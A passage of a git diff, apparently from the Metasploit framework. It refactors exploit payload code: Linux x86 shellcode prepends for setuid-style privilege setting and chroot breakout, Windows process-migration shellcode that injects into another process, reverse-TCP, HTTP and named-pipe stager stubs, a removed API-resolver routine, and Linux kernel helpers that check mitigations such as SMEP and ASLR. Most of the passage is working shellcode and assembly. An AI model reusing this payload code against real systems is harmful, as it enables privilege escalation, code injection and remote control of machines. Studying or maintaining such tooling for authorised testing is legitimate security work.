$0x80 # + + # setresgid(0, 0, 0) + 'PrependSetresgid' => "\x31\xc9" + # xorl %ecx,%ecx # + "\x31\xdb" + # xorl %ebx,%ebx # + "\xf7\xe3" + # mull %ebx # + "\xb0\xaa" + # movb $0xaa,%al # + "\xcd\x80", # int $0x80 # + + # setregid(0, 0) + 'PrependSetregid' => "\x31\xc9" + # xorl %ecx,%ecx # + "\x31\xdb" + # xorl %ebx,%ebx # + "\x6a\x47" + # pushl $0x47 # + "\x58" + # popl %eax # + "\xcd\x80", # int $0x80 # + + # setgid(0) + 'PrependSetgid' => "\x31\xdb" + # xorl %ebx,%ebx # + "\x6a\x2e" + # pushl $0x2e # + "\x58" + # popl %eax # + "\xcd\x80", # int $0x80 # + + # setreuid(0, 0) = break chroot + 'PrependChrootBreak' => "\x31\xc9" + # xorl %ecx,%ecx # + "\x31\xdb" + # xorl %ebx,%ebx # + "\x6a\x46" + # pushl $0x46 # + "\x58" + # popl %eax # + "\xcd\x80" + # int $0x80 # + "\x6a\x3d" + # pushl $0x3d # + # build dir str (ptr in ebx) + "\x89\xe3" + # movl %esp,%ebx # + # mkdir(dir) + "\x6a\x27" + # pushl $0x27 # + "\x58" + # popl %eax # + "\xcd\x80" + # int $0x80 # + # chroot(dir) + "\x89\xd9" + # movl %ebx,%ecx # + "\x58" + # popl %eax # + "\xcd\x80" + # int $0x80 # + # build ".." str (ptr in ebx) + "\x31\xc0" + # xorl %eax,%eax # + "\x50" + # pushl %eax # + "\x66\x68\x2e\x2e" + # pushw $0x2e2e # + "\x89\xe3" + # movl %esp,%ebx # + # loop changing dir + "\x6a\x3d" + # pushl $0x1e # + "\x59" + # popl %ecx # + "\xb0\x0c" + # movb $0xc,%al # + "\xcd\x80" + # int $0x80 # + "\xe2\xfa" + # loop -6 # + # final chroot + "\x6a\x3d" + # pushl $0x3d # + "\x89\xd9" + # movl %ebx,%ecx # + "\x58" + # popl %eax # + "\xcd\x80" # int $0x80 # + } + end + + def appends_map + { + # exit(0) + 'AppendExit' => "\x31\xdb" + # xorl %ebx,%ebx # + "\x6a\x01" + # pushl $0x01 # + "\x58" + # popl %eax # + "\xcd\x80" # int $0x80 # + } + end +end diff --git a/lib/msf/core/payload/windows.rb b/lib/msf/core/payload/windows.rb index a74990acd12c..2ae1b7ccb530 100644 --- a/lib/msf/core/payload/windows.rb +++ b/lib/msf/core/payload/windows.rb @@ -21,15 +21,15 @@ module Msf::Payload::Windows # # ROR hash associations for some of the exit technique routines. - # + @@exit_types = { nil => 0, # Default to nothing '' => 0, # Default to nothing - 'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter - 'thread' => 0x0A2A1DE0, # ExitThread - 'process' => 0x56A2B5F0, # ExitProcess - 'none' => 0x5DE2C5AA # GetLastError + 'seh' => Rex::Text.block_api_hash("kernel32.dll", "SetUnhandledExceptionFilter").to_i(16), # SetUnhandledExceptionFilter + 'thread' => Rex::Text.block_api_hash("kernel32.dll", "ExitThread").to_i(16), # ExitThread + 'process' => Rex::Text.block_api_hash("kernel32.dll", "ExitProcess").to_i(16), # ExitProcess + 'none' => Rex::Text.block_api_hash("kernel32.dll", "GetLastError").to_i(16) # GetLastError } # diff --git a/lib/msf/core/payload/windows/exitfunk.rb b/lib/msf/core/payload/windows/exitfunk.rb index 09148a1ef354..92ae5ca0e4fa 100644 --- a/lib/msf/core/payload/windows/exitfunk.rb +++ b/lib/msf/core/payload/windows/exitfunk.rb @@ -33,13 +33,13 @@ def asm_exitfunk(opts={}) when 'thread' asm << %Q^ mov ebx, 0x#{Msf::Payload::Windows.exit_types['thread'].to_s(16)} - push 0x9DBD95A6 ; hash( "kernel32.dll", "GetVersion" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" ) call ebp ; GetVersion(); (AL will = major version and AH will = minor version) cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 jl exitfunk_goodbye ; Then just call the exit function... cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... jne exitfunk_goodbye ; - mov ebx, 0x6F721347 ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread exitfunk_goodbye: ; We now perform the actual call to the exit function push.i8 0 ; push the exit function parameter push ebx ; push the hash of the exit function diff --git a/lib/msf/core/payload/windows/prepend_migrate.rb b/lib/msf/core/payload/windows/prepend_migrate.rb index eec8b65a57ef..0c00d6c55426 100644 --- a/lib/msf/core/payload/windows/prepend_migrate.rb +++ b/lib/msf/core/payload/windows/prepend_migrate.rb @@ -63,105 +63,35 @@ def prepend_migrate(buf) block_api_start = <<-EOS call start EOS - block_api_asm = <<-EOS - api_call: - pushad ; We preserve all the registers for the caller, bar EAX and ECX. - mov ebp, esp ; Create a new stack frame - xor eax, eax ; Zero EAX (upper 3 bytes will remain zero until function is found) - mov edx, [fs:eax+48] ; Get a pointer to the PEB - mov edx, [edx+12] ; Get PEB->Ldr - mov edx, [edx+20] ; Get the first module from the InMemoryOrder module list - next_mod: ; - mov esi, [edx+40] ; Get pointer to modules name (unicode string) - movzx ecx, word [edx+38] ; Set ECX to the length we want to check - xor edi, edi ; Clear EDI which will store the hash of the module name - loop_modname: ; - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - - ; We now have the module hash computed - push edx ; Save the current position in the module list for later - push edi ; Save the current module hash for later - ; Proceed to iterate the export address table - mov edx, [edx+16] ; Get this modules base address - mov ecx, [edx+60] ; Get PE header - - ; use ecx as our EAT pointer here so we can take advantage of jecxz. - mov ecx, [ecx+edx+120] ; Get the EAT from the PE header - jecxz get_next_mod1 ; If no EAT present, process the next module - add ecx, edx ; Add the modules base address - push ecx ; Save the current modules EAT - mov ebx, [ecx+32] ; Get the rva of the function names - add ebx, edx ; Add the modules base address - mov ecx, [ecx+24] ; Get the number of function names - ; now ecx returns to its regularly scheduled counter duties - - ; Computing the module hash + function hash - get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec ecx ; Decrement the function name counter - mov esi, [ebx+ecx*4] ; Get rva of next module name - add esi, edx ; Add the modules base address - xor edi, edi ; Clear EDI which will store the hash of the function name - ; And compare it to the one we want - loop_funcname: ; - lodsb ; Read in the next byte of the ASCII function name - ror edi, 13 ; Rotate right our hash value - add edi, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add edi, [ebp-8] ; Add the current module hash to the function hash - cmp edi, [ebp+36] ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - - ; If found, fix up stack, call the function and then value else compute the next one... - pop eax ; Restore the current modules EAT - mov ebx, [eax+36] ; Get the ordinal table rva - add ebx, edx ; Add the modules base address - mov cx, [ebx+2*ecx] ; Get the desired functions ordinal - mov ebx, [eax+28] ; Get the function addresses table rva - add ebx, edx ; Add the modules base address - mov eax, [ebx+4*ecx] ; Get the desired functions RVA - add eax, edx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the desired function... - finish: - mov [esp+36], eax ; Overwrite the old EAX value with the desired api address for the upcoming popad - pop ebx ; Clear off the current modules hash - pop ebx ; Clear off the current position in the module list - popad ; Restore all of the callers registers, bar EAX, ECX and EDX which are clobbered - pop ecx ; Pop off the original return address our caller will have pushed - pop edx ; Pop off the hash value our caller will have pushed - push ecx ; Push back the correct return value - jmp eax ; Jump into the required function - ; We now automagically return to the correct caller... - - get_next_mod: ; - pop edi ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop edi ; Pop off the current (now the previous) modules hash - pop edx ; Restore our position in the module list - mov edx, [edx] ; Get the next module - jmp.i8 next_mod ; Process this module - ;-------------------------------------------------------------------------------------- - EOS + block_api_obj = Object.new.extend(Msf::Payload::Windows::BlockApi) + block_api_asm = block_api_obj.asm_block_api # Prepare default exit block (sleep for a long long time) - exitblock = <<-EOS + exitblock = %Q^ ;sleep push -1 - push 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "Sleep")} ; hash( "kernel32.dll", "Sleep" ) call ebp ; Sleep( ... ); - EOS - + ^ + # Check to see if we can find exitfunc in the payload - exitfunc_index = buf.index("\x68\xA6\x95\xBD\x9D\xFF\xD5\x3C\x06\x7C\x0A" + - "\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x53\xFF\xD5") + exitfunc_block_asm = %Q^ + exitfunk: + mov ebx, #{Rex::Text.block_api_hash("kernel32.dll", "ExitThread")} ; The EXITFUNK as specified by user... kernel32.dll!ExitThread + push #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" ) + call ebp ; GetVersion(); (AL will = major version and AH will = minor version) + cmp al, 6 ; If we are not running on Windows Vista, 2008 or 7 + jl goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne goodbye ; + mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThreadgoodbye: ; We now perform the actual call to the exit function + goodbye: + push 0x0 ; push the exit function parameter + push ebx ; push the hash of the exit function + call ebp ; call EXITFUNK( 0 ); + ^ + exitfunc_block_blob = Metasm::Shellcode.assemble(Metasm::Ia32.new, exitfunc_block_asm).encode_string + exitfunc_index = buf.index(exitfunc_block_blob) if exitfunc_index exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) exitblock = "exitblock:\njmp $+#{exitblock_offset}" @@ -205,7 +135,7 @@ def prepend_migrate(buf) add esp,-400 ; adjust the stack to avoid corruption lea edx,[esp+0x60] push edx - push 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "GetStartupInfoA")} ; hash( "kernel32.dll", "GetStartupInfoA" ) call ebp ; GetStartupInfoA( &si ); lea eax,[esp+0x60] ; Put startupinfo pointer back in eax @@ -228,7 +158,7 @@ def prepend_migrate(buf) push esi ; lpCommandLine push ebx ; lpApplicationName - push 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "CreateProcessA")} ; hash( "kernel32.dll", "CreateProcessA" ) call ebp ; CreateProcessA( &si ); ; if we didn't get a new process, use this one @@ -256,7 +186,7 @@ def prepend_migrate(buf) xor ebx,ebx push ebx ; address push [edi] ; handle - push 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAllocEx")} ; hash( "kernel32.dll", "VirtualAllocEx" ) call ebp ; VirtualAllocEx( ...); ; eax now contains the destination @@ -268,7 +198,7 @@ def prepend_migrate(buf) begin_of_payload_return: ; lpBuffer push eax ; lpBaseAddress push [edi] ; hProcess - push 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "WriteProcessMemory")} ; hash( "kernel32.dll", "WriteProcessMemory" ) call ebp ; WriteProcessMemory( ...) ; run the code (CreateRemoteThread()) @@ -280,7 +210,7 @@ def prepend_migrate(buf) push ebx ; stacksize push ebx ; lpThreadAttributes push [edi] - push 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) + push #{Rex::Text.block_api_hash("kernel32.dll", "CreateRemoteThread")} ; hash( "kernel32.dll", "CreateRemoteThread" ) call ebp ; CreateRemoteThread( ...); #{exitblock} ; jmp to exitfunc or long sleep @@ -306,109 +236,39 @@ def prepend_migrate_64(buf) block_api_start = <<-EOS call start EOS - block_api_asm = <<-EOS - api_call: - push r9 ; Save the 4th parameter - push r8 ; Save the 3rd parameter - push rdx ; Save the 2nd parameter - push rcx ; Save the 1st parameter - push rsi ; Save RSI - xor rdx, rdx ; Zero rdx - mov rdx, [gs:rdx+96] ; Get a pointer to the PEB - mov rdx, [rdx+24] ; Get PEB->Ldr - mov rdx, [rdx+32] ; Get the first module from the InMemoryOrder module list - next_mod: ; - mov rsi, [rdx+80] ; Get pointer to modules name (unicode string) - movzx rcx, word [rdx+74] ; Set rcx to the length we want to check - xor r9, r9 ; Clear r9 which will store the hash of the module name - loop_modname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the name - cmp al, 'a' ; Some versions of Windows use lower case module names - jl not_lowercase ; - sub al, 0x20 ; If so normalise to uppercase - not_lowercase: ; - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - loop loop_modname ; Loop until we have read enough - ; We now have the module hash computed - push rdx ; Save the current position in the module list for later - push r9 ; Save the current module hash for later - ; Proceed to iterate the export address table - mov rdx, [rdx+32] ; Get this modules base address - mov eax, dword [rdx+60] ; Get PE header - add rax, rdx ; Add the modules base address - mov eax, dword [rax+136] ; Get export tables RVA - test rax, rax ; Test if no export address table is present - jz get_next_mod1 ; If no EAT present, process the next module - add rax, rdx ; Add the modules base address - push rax ; Save the current modules EAT - mov ecx, dword [rax+24] ; Get the number of function names - mov r8d, dword [rax+32] ; Get the rva of the function names - add r8, rdx ; Add the modules base address - ; Computing the module hash + function hash - get_next_func: ; - jecxz get_next_mod ; When we reach the start of the EAT (we search backwards), process the next module - dec rcx ; Decrement the function name counter - mov esi, dword [r8+rcx*4]; Get rva of next module name - add rsi, rdx ; Add the modules base address - xor r9, r9 ; Clear r9 which will store the hash of the function name - ; And compare it to the one we want - loop_funcname: ; - xor rax, rax ; Clear rax - lodsb ; Read in the next byte of the ASCII function name - ror r9d, 13 ; Rotate right our hash value - add r9d, eax ; Add the next byte of the name - cmp al, ah ; Compare AL (the next byte from the name) to AH (null) - jne loop_funcname ; If we have not reached the null terminator, continue - add r9, [rsp+8] ; Add the current module hash to the function hash - cmp r9d, r10d ; Compare the hash to the one we are searchnig for - jnz get_next_func ; Go compute the next function hash if we have not found it - ; If found, fix up stack, call the function and then value else compute the next one... - pop rax ; Restore the current modules EAT - mov r8d, dword [rax+36] ; Get the ordinal table rva - add r8, rdx ; Add the modules base address - mov cx, [r8+2*rcx] ; Get the desired functions ordinal - mov r8d, dword [rax+28] ; Get the function addresses table rva - add r8, rdx ; Add the modules base address - mov eax, dword [r8+4*rcx]; Get the desired functions RVA - add rax, rdx ; Add the modules base address to get the functions actual VA - ; We now fix up the stack and perform the call to the drsired function... - finish: - pop r8 ; Clear off the current modules hash - pop r8 ; Clear off the current position in the module list - pop rsi ; Restore RSI - pop rcx ; Restore the 1st parameter - pop rdx ; Restore the 2nd parameter - pop r8 ; Restore the 3rd parameter - pop r9 ; Restore the 4th parameter - pop r10 ; pop off the return address - sub rsp, 32 ; reserve space for the four register params (4 * sizeof(QWORD) = 32) - ; It is the callers responsibility to restore RSP if need be (or alloc more space or align RSP). - push r10 ; push back the return address - jmp rax ; Jump into the required function - ; We now automagically return to the correct caller... - get_next_mod: ; - pop rax ; Pop off the current (now the previous) modules EAT - get_next_mod1: ; - pop r9 ; Pop off the current (now the previous) modules hash - pop rdx ; Restore our position in the module list - mov rdx, [rdx] ; Get the next module - jmp next_mod ; Process this module - EOS + block_api_obj = Object.new.extend(Msf::Payload::Windows::BlockApi_x64) + block_api_asm = block_api_obj.asm_block_api # Prepare default exit block (sleep for a long long time) exitblock = <<-EOS ;sleep xor rcx,rcx dec rcx ; rcx = -1 - mov r10d, 0xE035F044 ; hash( "kernel32.dll", "Sleep" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "Sleep")} ; hash( "kernel32.dll", "Sleep" ) call rbp ; Sleep( ... ); EOS + exitfunc_block_asm = %Q^ + exitfunk: + mov ebx, #{Rex::Text.block_api_hash("kernel32.dll", "ExitThread")} ; The EXITFUNK as specified by user... + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "GetVersion")} ; hash( "kernel32.dll", "GetVersion" ) + call rbp ; GetVersion(); (AL will = major version and AH will = minor version) + add rsp, 40 ; cleanup the default param space on stack + cmp al, 0x6 ; If we are not running on Windows Vista, 2008 or 7 + jl goodbye ; Then just call the exit function... + cmp bl, 0xE0 ; If we are trying a call to kernel32.dll!ExitThread on Windows Vista, 2008 or 7... + jne goodbye ; + mov ebx, #{Rex::Text.block_api_hash("ntdll.dll", "RtlExitUserThread")} ; Then we substitute the EXITFUNK to that of ntdll.dll!RtlExitUserThread + goodbye: ; We now perform the actual call to the exit function + push 0x0 ; + pop rcx ; set the exit function parameter + mov r10d, ebx ; place the correct EXITFUNK into r10d + call rbp ; call EXITFUNK( 0 ); + ^ # Check to see if we can find x64 exitfunc in the payload - exitfunc_index = buf.index("\x41\xBA\xA6\x95\xBD\x9D\xFF\xD5\x48\x83\xC4\x28\x3C\x06" + - "\x7C\x0A\x80\xFB\xE0\x75\x05\xBB\x47\x13\x72\x6F\x6A\x00\x59\x41\x89\xDA\xFF\xD5") + + exitfunc_block_blob = Metasm::Shellcode.assemble(Metasm::X64.new, exitfunc_block_asm).encode_string + exitfunc_index = buf.index(exitfunc_block_blob) if exitfunc_index exitblock_offset = "0x%04x + payload - exitblock" % (exitfunc_index - 5) exitblock = "exitblock:\njmp $+#{exitblock_offset}" @@ -451,7 +311,7 @@ def prepend_migrate_64(buf) ; get our own startupinfo at esp+0x60 add rsp,-400 ; adjust the stack to avoid corruption lea rcx,[rsp+0x30] - mov r10d, 0xB16B4AB1 ; hash( "kernel32.dll", "GetStartupInfoA" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "GetStartupInfoA")} ; hash( "kernel32.dll", "GetStartupInfoA" ) call rbp ; GetStartupInfoA( &si ); jmp getcommand @@ -473,7 +333,7 @@ def prepend_migrate_64(buf) mov r8, rcx ; lpProcessAttributes mov rdx, rsi ; lpCommandLine ; rcx is already zero ; lpApplicationName - mov r10d, 0x863FCC79 ; hash( "kernel32.dll", "CreateProcessA" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "CreateProcessA")} ; hash( "kernel32.dll", "CreateProcessA" ) call rbp ; CreateProcessA( &si ); ; if we didn't get a new process, use this one @@ -503,7 +363,7 @@ def prepend_migrate_64(buf) migrate_asm << <<-EOS xor rdx,rdx ; address mov rcx, [rdi] ; handle - mov r10d, 0x3F9287AE ; hash( "kernel32.dll", "VirtualAllocEx" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "VirtualAllocEx")} ; hash( "kernel32.dll", "VirtualAllocEx" ) call rbp ; VirtualAllocEx( ...); ; eax now contains the destination - save in ebx @@ -517,7 +377,7 @@ def prepend_migrate_64(buf) pop r8 ; lpBuffer mov rdx, rax ; lpBaseAddress mov rcx, [rdi] ; hProcess - mov r10d, 0xE7BDD8C5 ; hash( "kernel32.dll", "WriteProcessMemory" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "WriteProcessMemory")} ; hash( "kernel32.dll", "WriteProcessMemory" ) call rbp ; WriteProcessMemory( ...); ; run the code (CreateRemoteThread()) @@ -529,7 +389,7 @@ def prepend_migrate_64(buf) mov r8, rcx ; stacksize ;rdx already equals 0 ; lpThreadAttributes mov rcx, [rdi] - mov r10d, 0x799AACC6 ; hash( "kernel32.dll", "CreateRemoteThread" ) + mov r10d, #{Rex::Text.block_api_hash("kernel32.dll", "CreateRemoteThread")} ; hash( "kernel32.dll", "CreateRemoteThread" ) call rbp ; CreateRemoteThread( ...); #{exitblock} ; jmp to exitfunc or long sleep diff --git a/lib/msf/core/payload/windows/reverse_http.rb b/lib/msf/core/payload/windows/reverse_http.rb index 6978ed74a442..a1155383b566 100644 --- a/lib/msf/core/payload/windows/reverse_http.rb +++ b/lib/msf/core/payload/windows/reverse_http.rb @@ -442,7 +442,7 @@ def asm_reverse_http(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_named_pipe.rb b/lib/msf/core/payload/windows/reverse_named_pipe.rb index e50ecb159f66..9648e71db430 100644 --- a/lib/msf/core/payload/windows/reverse_named_pipe.rb +++ b/lib/msf/core/payload/windows/reverse_named_pipe.rb @@ -147,7 +147,7 @@ def asm_reverse_named_pipe(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_tcp.rb b/lib/msf/core/payload/windows/reverse_tcp.rb index 4a9e07a74002..19ad38cfe765 100644 --- a/lib/msf/core/payload/windows/reverse_tcp.rb +++ b/lib/msf/core/payload/windows/reverse_tcp.rb @@ -201,7 +201,7 @@ def asm_reverse_tcp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_tcp_dns.rb b/lib/msf/core/payload/windows/reverse_tcp_dns.rb index 323631eda5ad..4b998b3efd27 100644 --- a/lib/msf/core/payload/windows/reverse_tcp_dns.rb +++ b/lib/msf/core/payload/windows/reverse_tcp_dns.rb @@ -142,7 +142,7 @@ def asm_reverse_tcp_dns(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_udp.rb b/lib/msf/core/payload/windows/reverse_udp.rb index 3399e8084bdd..05df86677e02 100644 --- a/lib/msf/core/payload/windows/reverse_udp.rb +++ b/lib/msf/core/payload/windows/reverse_udp.rb @@ -129,7 +129,7 @@ def asm_reverse_udp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/reverse_win_http.rb b/lib/msf/core/payload/windows/reverse_win_http.rb index 0f00e20e458f..c380376add27 100644 --- a/lib/msf/core/payload/windows/reverse_win_http.rb +++ b/lib/msf/core/payload/windows/reverse_win_http.rb @@ -476,7 +476,7 @@ def asm_reverse_winhttp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call ebp ^ end diff --git a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb index 21e87d26efef..d6ddf74b7cb6 100644 --- a/lib/msf/core/payload/windows/x64/reverse_http_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_http_x64.rb @@ -62,7 +62,7 @@ def generate(opts={}) # Otherwise default to small URIs conf[:url] = luri + generate_small_uri end - + generate_reverse_http(conf) end @@ -168,6 +168,7 @@ def asm_generate_ascii_array(str) # @option opts [String] :url The URI to request during staging # @option opts [String] :host The host to connect to # @option opts [Integer] :port The port to connect to + # @option opts [String] :ua The User Agent the payload will use # @option opts [String] :exitfunk The exit method to use if there is an error, one of process, thread, or seh # @option opts [String] :proxy_host The optional proxy server host to use # @option opts [Integer] :proxy_port The optional proxy server port to use @@ -245,9 +246,21 @@ def asm_reverse_http(opts={}) internetopen: push rbx ; stack alignment push rbx ; NULL pointer - mov rcx, rsp ; lpszAgent ("") ^ + if opts[:ua] + asm << %Q^ + call load_useragent + db"#{opts[:ua]}", 0x00 + load_useragent: + pop rcx ; lpszAgent (stack pointer) + ^ + else + asm << %Q^ + mov rcx, rsp ; lpszAgent("") + ^ + end + if proxy_enabled asm << %Q^ push 3 diff --git a/lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb b/lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb index f52fd14ccc86..9309bf7a46fe 100644 --- a/lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_named_pipe_x64.rb @@ -59,8 +59,8 @@ def generate_reverse_named_pipe(opts={}) and rsp, ~0xF ; Ensure RSP is 16 byte aligned call start ; Call start, this pushes the address of 'api_call' onto the stack. #{asm_block_api} - start: - pop rbp ; block API pointer + start: + pop rbp ; block API pointer #{asm_reverse_named_pipe(opts)} ^ Metasm::Shellcode.assemble(Metasm::X64.new, combined_asm).encode_string @@ -145,7 +145,7 @@ def asm_reverse_named_pipe(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp ^ end diff --git a/lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb b/lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb index 9b6c5c907169..ce9456fe28f0 100644 --- a/lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb +++ b/lib/msf/core/payload/windows/x64/reverse_tcp_x64.rb @@ -173,7 +173,7 @@ def asm_reverse_tcp(opts={}) else asm << %Q^ failure: - push 0x56A2B5F0 ; hardcoded to exitprocess for size + push #{Rex::Text.block_api_hash('kernel32.dll', 'ExitProcess')} call rbp ^ end diff --git a/lib/msf/core/post/linux/kernel.rb b/lib/msf/core/post/linux/kernel.rb index 19b2dd8b4ff2..6f0bfb4ce1b4 100644 --- a/lib/msf/core/post/linux/kernel.rb +++ b/lib/msf/core/post/linux/kernel.rb @@ -1,331 +1,338 @@ # -*- coding: binary -*- module Msf -class Post -module Linux -module Kernel - include ::Msf::Post::Common - include Msf::Post::File - # - # Returns uname output - # - # @return [String] - # - def uname(opts='-a') - cmd_exec("uname #{opts}").to_s.strip - rescue - raise "Failed to run uname #{opts}" - end - - # - # Returns the kernel release - # - # @return [String] - # - def kernel_release - uname('-r') - end - - # - # Returns the kernel version - # - # @return [String] - # - def kernel_version - uname('-v') - end - - # - # Returns the kernel name - # - # @return [String] - # - def kernel_name - uname('-s') - end - - # - # Returns the kernel hardware - # - # @return [String] - # - def kernel_hardware - uname('-m') - end - - # - # Returns the kernel hardware architecture - # Based on values from https://en.wikipedia.org/wiki/Uname - # - # @return [String] - # - def kernel_arch - arch = kernel_hardware - return ARCH_X64 if arch == 'x86_64' || arch == 'amd64' - return ARCH_AARCH64 if arch == 'aarch64' || arch == 'arm64' - return ARCH_ARMLE if arch.start_with?'arm' - return ARCH_X86 if arch.end_with?'86' - return ARCH_PPC if arch == 'ppc' - return ARCH_PPC64 if arch == 'ppc64' - return ARCH_PPC64LE if arch == 'ppc64le' - return ARCH_MIPS if arch == 'mips' - return ARCH_MIPS64 if arch == 'mips64' - return ARCH_SPARC if arch == 'sparc' - return ARCH_RISCV32LE if arch == 'riscv32' - return ARCH_RISCV64LE if arch == 'riscv64' - return ARCH_LOONGARCH64 if arch == 'loongarch64' - arch - end - - # - # Returns the kernel boot config - # - # @return [Array] - # - def kernel_config - release = kernel_release - output = read_file("/boot/config-#{release}").to_s.strip - return if output.empty? - config = output.split("\n").map(&:strip).reject(&:empty?).reject {|i| i.start_with? '#'} - config - rescue - raise 'Could not retrieve kernel config' - end - - # - # Returns the kernel modules - # - # @return [Array] - # - def kernel_modules - read_file('/proc/modules').to_s.scan(/^[^ ]+/) - rescue - raise 'Could not determine kernel modules' - end - - # - # Returns a list of CPU flags - # - # @return [Array] - # - def cpu_flags - cpuinfo = read_file('/proc/cpuinfo').to_s - - return unless cpuinfo.include? 'flags' - - cpuinfo.scan(/^flags\s*:(.*)$/).flatten.join(' ').split(/\s/).map(&:strip).reject(&:empty?).uniq - rescue - raise'Could not retrieve CPU flags' - end - - # - # Returns true if kernel and hardware supports Supervisor Mode Access Prevention (SMAP), false if not. - # - # @return [Boolean] - # - def smap_enabled? - cpu_flags.include? 'smap' - rescue - raise 'Could not determine SMAP status' - end - - # - # Returns true if kernel and hardware supports Supervisor Mode Execution Protection (SMEP), false if not. - # - # @return [Boolean] - # - def smep_enabled? - cpu_flags.include? 'smep' - rescue - raise 'Could not determine SMEP status' - end - - # - # Returns true if Kernel Address Isolation (KAISER) is enabled - # - # @return [Boolean] - # - def kaiser_enabled? - cpu_flags.include? 'kaiser' - rescue - raise 'Could not determine KAISER status' - end - - # - # Returns true if Kernel Page-Table Isolation (KPTI) is enabled, false if not. - # - # @return [Boolean] - # - def kpti_enabled? - cpu_flags.include? 'pti' - rescue - raise 'Could not determine KPTI status' - end - - # - # Returns true if user namespaces are enabled, false if not. - # - # @return [Boolean] - # - def userns_enabled? - return false if read_file('/proc/sys/user/max_user_namespaces').to_s.strip.eql? '0' - return false if read_file('/proc/sys/kernel/unprivileged_userns_clone').to_s.strip.eql? '0' - true - rescue - raise 'Could not determine userns status' - end - - # - # Returns true if Address Space Layout Randomization (ASLR) is enabled - # - # @return [Boolean] - # - def aslr_enabled? - aslr = read_file('/proc/sys/kernel/randomize_va_space').to_s.strip - (aslr.eql?('1') || aslr.eql?('2')) - rescue - raise 'Could not determine ASLR status' - end - - # - # Returns true if Exec-Shield is enabled - # - # @return [Boolean] - # - def exec_shield_enabled? - exec_shield = read_file('/proc/sys/kernel/exec-shield').to_s.strip - (exec_shield.eql?('1') || exec_shield.eql?('2')) - rescue - raise 'Could not determine exec-shield status' - end - - # - # Returns true if 